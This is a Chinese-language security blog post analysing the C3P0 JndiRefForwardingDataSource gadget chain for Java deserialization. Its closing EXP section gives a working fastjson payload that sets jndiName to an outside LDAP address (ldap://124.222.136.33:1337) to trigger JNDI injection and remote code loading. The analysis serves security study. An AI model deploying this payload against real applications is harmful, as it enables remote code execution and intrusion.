【Web】浅聊Java反序列化之C3P0——JNDI注入利用

目录

简介

原理分析

EXP


前文:【Web】浅聊Java反序列化之C3P0——URLClassLoader利用

【Web】浅聊Java反序列化之C3P0——不出网Hex字节码加载利用

简介

出网的情况下,这个C3P0的Gadget可以和fastjson,Snake YAML , JYAML,Yamlbeans , Jackson,Blazeds,Red5, Castor等配合使用(调用setter和初始化方法)

和hex base的打法相比,这条链的利用对FJ反序列化触发的setter方法利用则更为直接

hex base好歹是有个setter设置属性+构造方法触发sink来进行攻击,jndi的利用干脆用setter把二者全包了

原理分析

就像上面说的一样,这个Gadget的核心主要是在setter上,因为过于简单粗暴,我们采用正向分析的方法去跟一下它

JndiRefForwardingDataSource#setloginTimeout

 public void setLoginTimeout(int seconds) throws SQLException {this.inner().setLoginTimeout(seconds);}

跟进this.inner()

 private synchronized DataSource inner() throws SQLException {if (this.cachedInner != null) {return this.cachedInner;} else {DataSource out = this.dereference();if (this.isCaching()) {this.cachedInner = out;}return out;}}

这段代码的作用是获取一个 DataSource 对象,在需要时从缓存中获取,如果没有缓存则创建新的对象,并在必要时将其缓存起来 

跟进到this.dereference()

private DataSource dereference() throws SQLException {Object jndiName = this.getJndiName();Hashtable jndiEnv = this.getJndiEnv();try {InitialContext ctx;if (jndiEnv != null) {ctx = new InitialContext(jndiEnv);} else {ctx = new InitialContext();}if (jndiName instanceof String) {return (DataSource)ctx.lookup((String)jndiName);} else if (jndiName instanceof Name) {return (DataSource)ctx.lookup((Name)jndiName);} else {throw new SQLException("Could not find ConnectionPoolDataSource with JNDI name: " + jndiName);}}

 一眼经典JNDI,我们只要控制jndiName的值,就能实现jndi注入

jndiName来自this.getJndiName(),跟进一下

public Object getJndiName() {return this.jndiName instanceof Name ? ((Name)this.jndiName).clone() : this.jndiName;}

很正常,就是获取该类的jndiName属性的值

那么有getter的地方必有setter,虽然JndiRefForwardingDataSource这个类本身没有setJndiName,但我们在其父类JndiRefDataSourceBase中找到了setJndiName

public void setJndiName(Object jndiName) throws PropertyVetoException {Object oldVal = this.jndiName;if (!this.eqOrBothNull(oldVal, jndiName)) {this.vcs.fireVetoableChange("jndiName", oldVal, jndiName);}this.jndiName = jndiName instanceof Name ? ((Name)jndiName).clone() : jndiName;if (!this.eqOrBothNull(oldVal, jndiName)) {this.pcs.firePropertyChange("jndiName", oldVal, jndiName);}}

综合二者就可实现JNDI注入。

EXP

配合fastjson打JndiRefForwardingDataSource

package com.c3p0;import com.alibaba.fastjson.JSON;public class FJ {public static void main(String[] args) {String s="{ \"a\":{ \"@type\":\"java.lang.Class\", \"val\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\" }, \"b\":{ \"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\", \"jndiName\":\"ldap://124.222.136.33:1337/#suibian\", \"loginTimeout\":0 } }";Object object = JSON.parse(s);}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/730171.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何防御udp攻击

UDP Flood是互联网上最经典的DDoS(Distributed Denial of Service)攻击之一。攻击者在短时间内向目标设备发送大量的UDP报文,导致链路拥塞甚至网络瘫痪。一般的UDP报文由攻击工具伪造,通常在数据段具备相同的特征,另一…

【嵌入式高级C语言】9:万能型链表懒人手册

文章目录 序言单向不循环链表拼图框架搭建 - Necessary功能拼图块1 创建链表头信息结构体 - Necessary2 链表头部插入 - Optional3 链表的遍历 - Optional4 链表的销毁 - Necessary5 链表头信息结构体销毁 - Necessary6 获取链表中节点的个数 - Optional7 链表尾部插入 - Optio…

网站开发之旅:从概念到实现

在我成为一名专业的网站开发者的过程中,我有幸参与了多个激动人心的项目。其中,一个我印象尤为深刻的经历是,开发一个名为“文案推荐网”的主题网站(www.zimeiti.love)。这个项目不仅让我深入了解了网站开发的各个方面…

excel常用操作备忘

目录 快捷键基础数据透视图统计某列的值出现的频数 数据有效性数据分列运算符顺序文本匹配中的通配符错误的类型(常与IF嵌套使用)函数RANK(num, ref, [order])MID(str, start, len)逻辑函数混合函数选取整列AVERAGEIF(range, criteria, average_range)TR…

mvp矩阵变换及世界坐标到屏幕坐标的实现

MVP矩阵是一种用于将对象的局部坐标(Model)转换到裁剪空间(Clip Space)的变换矩阵。MVP代表了Model-View-Projection,是由三个矩阵的组合构成的。 Model矩阵(M):模型变换用于将对象的局部坐标(模型空间或对象空间)转换到世界坐标系中。Model矩阵包括了平移、旋转、缩…

【软件测试面试】银行项目测试面试题+答案(一)

目录:导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜) 前言 面试题&#xff1…

Unity类银河恶魔城学习记录9-2 P83 Explosive crystal源代码

Alex教程每一P的教程原代码加上我自己的理解初步理解写的注释,可供学习Alex教程的人参考 此代码仅为较上一P有所改变的代码 【Unity教程】从0编程制作类银河恶魔城游戏_哔哩哔哩_bilibili Crystal_Skill_Controller using System.Collections; using System.Colle…

【Linux】--- Linux编译器-gcc/g++、调试器-gdb、项目自动化构建工具-make/Makefile 使用

目录 一、Linux编译器-gcc/g1.1 gcc/g 使用方法1.2 程序的翻译过程1.3 链接 -- 动静态链接特点及区别 二、Linux调试器-gdb2.1 背景2.2 使用方法 三、Linux项目自动化构建工具-make/Makefile3.1 背景3.2 原理3.3 项目清理 一、Linux编译器-gcc/g 1.1 gcc/g 使用方法 格式&…

如何在Windows系统部署Jellyfin Server并实现公网访问内网影音文件

文章目录 1. 前言2. Jellyfin服务网站搭建2.1. Jellyfin下载和安装2.2. Jellyfin网页测试 3.本地网页发布3.1 cpolar的安装和注册3.2 Cpolar云端设置3.3 Cpolar本地设置 4.公网访问测试5. 结语 1. 前言 随着移动智能设备的普及,各种各样的使用需求也被开发出来&…

本地yum源的配置

①在根目录下,执行"mkdir /iso"创建本地yum源文件夹 ②使用SSH工具,将操作系统iso文件上传到iso目录下 ③mount /iso/xxx.iso /mnt ④cd /mnt ⑤cp -arp * /iso ⑥umount /mnt ⑦cd /etc/yum.repos.d ⑧mv *.repo *.repo.bak 把…

用BIO实现tomcat

一、前言 本课程的难度较高,需要将Servlet原理和IO课程全部学完。 二、当前项目使用方式 (1).自定义servlet 自定义servlet需要实现WebServlet并且实现name和urlMapping 重启进行访问 http://localhost:8090/myServlet (2).自定义html 重启进行访问 http://loc…

项目的搭建与配置

vue create calendar_pro 选择如下配置选项 安装 vue3 支持 vue add vue-next package.json 关闭 eslint 检测。 vue.config.js 配置跨域同源策略。 const { defineConfig } require(vue/cli-service) module.exports defineConfig({transpileDependencies: true,devServe…

VSCode无法用ctrl+鼠标滚轮调整字体大小了

VSCode (Visual Studio Code) 中使用 Ctrl 鼠标滚轮来调整字体大小的功能通常是由 VSCode 的设置控制的。如果你发现这个功能不再工作,你可以尝试以下几个步骤来恢复或检查这个设置: 检查是否有冲突的快捷键或扩展: 打开 VSCode 的快捷键编辑…

微服务:Docker篇

1. 初识Docker 1.1. 什么是Docker 微服务虽然具备各种各样的优势,但服务的拆分通用给部署带来了很大的麻烦。 分布式系统中,依赖的组件非常多,不同组件之间部署时往往会产生一些冲突。 在数百上千台服务中重复部署,环境不一定一…

Windows上使用client-go远程访问安装在本地WMware上的Linux虚拟机里的minikube

我在自己的Windows上安装了WMware,并在WMware上安装了CentOS操作系统,然后在CentOS上创建了一个叫minikube的用户,使用minikube用户启动了一个minikube集群,但是我在Windows上使用client-go并无法连通minikube,搜遍全网…

【计网】TCP协议安全与风险:深入探讨网络通信的基石

🍎个人博客:个人主页 🏆个人专栏:Linux ⛳️ 功不唐捐,玉汝于成 目录 🌐前言 🔒正文 TCP (Transmission Control Protocol): UDP (User Datagram Protocol): HTTP (Hypertext Transfer …

【C++】每日一题 3 无重复字符最长子串

给定一个字符串 s &#xff0c;请你找出其中不含有重复字符的最长子串的长度。 14ms 注意使用unordered_map时把字符和该字符的索引作为键值对&#xff0c;这样可以节省一次查找重复字符索引的循环 #include <string> #include <unordered_map>using namespace st…

git fatal: detected dubious ownership in repository at ‘xxx‘ 彻底解决方法

前言 在 windows 重置后&#xff0c; git 仓库无法正常使用 git 的所有 命令&#xff0c;运行任何 git 命令&#xff0c;都会提示如下&#xff1a; $ git log fatal: detected dubious ownership in repository at D:/rk/rk3568/nanopi/uboot-rockchip D:/rk/rk3568/nanopi/u…

mysql中find_in_set()函数用法详解及增强函数

一、find_in_set() 我们知道mysql提供了一个好用的函数 FIND_IN_SET(str,strlist)&#xff0c; 该函数的作用是查询字段(strlist)中是否包含(str)的结果&#xff0c; 返回结果为null或记录 。 str 要查询的字符串 strlist 需查询的字段&#xff0c;参数以”,”分隔&#xf…

Linux学习之线程

目录 线程概念 1.什么是线程&#xff1f; 2.线程的优缺点 3.线程异常 4.线程用途 线程操作 1.如何给线程传参 2.线程终止 3.获取返回值 4.分离状态 5.退出线程 线程的用户级地址空间&#xff1a; 线程的局部存储 线程的同步与互斥 互斥量mutex 数据不一致的主要过…